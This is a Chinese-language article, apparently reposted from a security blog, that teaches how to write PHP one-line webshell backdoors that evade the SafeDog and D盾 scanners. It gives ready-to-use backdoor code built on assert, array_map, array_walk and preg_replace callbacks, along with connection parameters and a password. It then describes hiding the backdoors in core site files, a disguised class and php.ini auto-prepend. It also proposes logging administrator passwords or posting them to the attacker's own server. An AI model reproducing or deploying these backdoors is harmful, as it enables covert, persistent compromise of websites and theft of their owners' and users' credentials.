PHP一句話后門過狗姿勢萬千之后門構造與隱藏


第二章節主要帶給大家一些后門構造思路,與安全狗文件特征檢測的機制。

另外強調一下,這篇文章需要大家對於php有一定的認識。

本章節分為三大部分,第一部分針對初級,分析菜刀php代碼的執行過程,較基礎;第二部分主要總結一些可以利用的后門姿勢,這部分我主要給大家分享一些搜集的后門,希望可以拓展大家的思路;第三部分主要分享后門隱藏之道。

聲明:在后門舉例中大部分后門構造與思路,可能網上都有類似的,如有雷同,來打我呀!

目前主流的waf軟件(如安全狗)一般對於后門文件有主動查殺與被動查殺,主動好理解,被動主要就在於你訪問該文件的時候,對該文件就行查殺,比如鏈接菜刀的時候。

因為安全狗對后門的查殺其實就是對代碼的一個預編譯,去除注釋等無用代碼,遇到if,直接檢查if內部內容。

安全狗獲取其他各種waf有什么樣的特征庫,我們並不能全部知曉,我們能做的只有一點點嘗試,WAF永遠在更新,黑闊門永遠在換套路,幾乎沒有一勞永逸的后門。

說明:如果想更好的過狗,那么php是必須要會的,為了盡量照顧到不會php的同學,本文分享一些猥瑣思路彌補一下。

先來一個最簡單的過狗后門

下面分享的幾個一句話都是可以直接過狗的,雖然很簡單,但此之前,我們來遛一遛狗。

<?php $_GET[a]($_GET[b]);?>

這句話已經可以執行一切命令了,但是必然被殺,

我們可以用extract函數簡單的處理下請求的數據

當然,想要完美過狗,執行更多命令,還需要數據層加工,詳情參考第三章。

經典的回調函數

很多時候並不是給變量多一層加密就安全,其實很多waf對base64_decode相當敏感。

例如:

@array_map(base64_decode($_REQUEST['xx']),(array)base64_decode($_REQUEST['sofia']));

原理分析:xx參數直接傳入一個assert函數,sofia參數傳入assert(eval('執行代碼'))。

直接暴出array_map后門,試試去掉base64?

沒錯,就這么簡單,最危險的地方就是最安全的地方,起碼文件特征安全狗確實沒有檢測出來。

然而這個一句話D盾是四級的,因為稍微懂點的人都能看出來是個后門。

但是距離實際意義上的過狗還是遠遠不夠的,還需要數據層加工,詳情參考第三章。之后你會發現,就這個一句話修改下post數據,可以完整過狗。

不賣關子:

@array_map(assert,(array)base64_decode($_REQUEST['sofia']));

連接方法:test.php?sofia=YXNzZXJ0KCRfUkVRVUVTVFsndnVsbiddKQ==    密碼 :vuln

再來一個回調后門

<?
$Base = "base6"."4"."_decod"."e";
$_clasc = $Base($_REQUEST['vuln']);
$arr = array($Base($_POST['sofia']) => '|.*|e',); 
@array_walk($arr, $_clasc, '');
?>
這是我之前修改過的一個版本,這里用的其實還是preg_replace后門,也是通過回調函數來實現執行,同樣可以過:

詳解:
帶入參數:

vuln=cHJlZ19yZXBsYWNl(preg_replace)

sofia=cGhwaW5mbygp(phpinfo())

<?
$Base = "base6"."4"."_decod"."e";
$_clasc = $Base($_REQUEST['vuln']);//$_clasc=preg_replace
$arr = array($Base($_POST['sofia']) => '|.*|e',); //$arr = array('phpinfo()' => '|.*|e')
@array_walk($arr, $_clasc, ''); //preg_replace('|.*|e',phpinfo(),'')
?>

網上有很多現成的回調函數或者其他方式來過特征檢測,再這里就不重復造輪子了。

代碼隱藏

權限維持也是滲透中重要的環節,隱藏的不到位第二天就掉權限,猥瑣的后門能一輩子跟隨。

方法一:遠程讀取或者include文件

這個方法比較常見,如:

<?php
if($_POST['token'] == 'sofia'){
require 'home/wwwlogs/access.log';
}

但是就個人而言,我一眼看上就覺得有鬼,哪個正常程序會鬼畜到包含一個日志文件或者圖片,當然也要根據場景來定。

方法二:

將代碼放到核心函數文件中,做好文件時間修改,只要查殺不出來,一般站長也不會去動核心文件,也是具有一定隱蔽性的,

方法二:創建類或者函數,分離后門代碼

這樣的話基本上很難查殺了,比如再global_function.php類的文件中創建一個類,或者函數,在所調用這個核心函數的相關文件中實例化一個類,調用函數,那么也是妥妥執行的。

如:把class放到核心類文件中,在相關的調用文件中放入執行代碼,隱蔽性會加強很多。

<?php
class Parse_Args {

public function apply_filters($key) {
assert($key);
}
}

//執行代碼
@extract($_REQUEST);
$reflectionMethod = new Parse_Args();
$reflectionMethod -> apply_filters($s0fia);

?>

方法四:直接加密代碼

直接將后門文件加密,

其實這就只是eval($_POST[x])加密后的結果,還需要構造什么?但是在滲透過程中可用性並不是很高,很多時候要寫入后門代碼,這根本沒法寫的,只能作為一種維持手段。

方法五:創建手工后門

php不僅可以獲取get,post數據還是可以獲取server數據的,如user-agent,referrer,cookie,client ip,所以我們完全可以在這些參數中加入需要執行的代碼,但需要注意的是有的參數日志中會記錄,這里僅提供思路,大家根據實際情況取發揮。

方法五:間接維持后台權限,

可以直接在后台登陸頁所include的核心函數中加入獲取用戶名密碼的代碼,如直接生成到本地服務器的一個txt中(可以加密下),記住這個隱蔽的url,時不時就會有密碼記錄,或者遠程post密碼到自己的服務器上。

可以在后台頁面中插入一個xss,這種效率相對較低,但是也是一種思路。

方法六:來硬的

這種方法只能針對中小站長,找到一個網站的核心但是又不常用的文件,比如lang文件等等,將自己后門加入,然后將整個文件加密,再替換源文件,功能一切正常,站長對這類文件不會起太大疑心。

這個思路也可以結合方法三。

方法七:php.ini后門

修改php.ini配置來達到每個頁面都執行某個后門,每個php都是后門,比如可以配置auto_prepend_file,自動加載某個文件,這部分后期抽時間再單獨寫出來。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM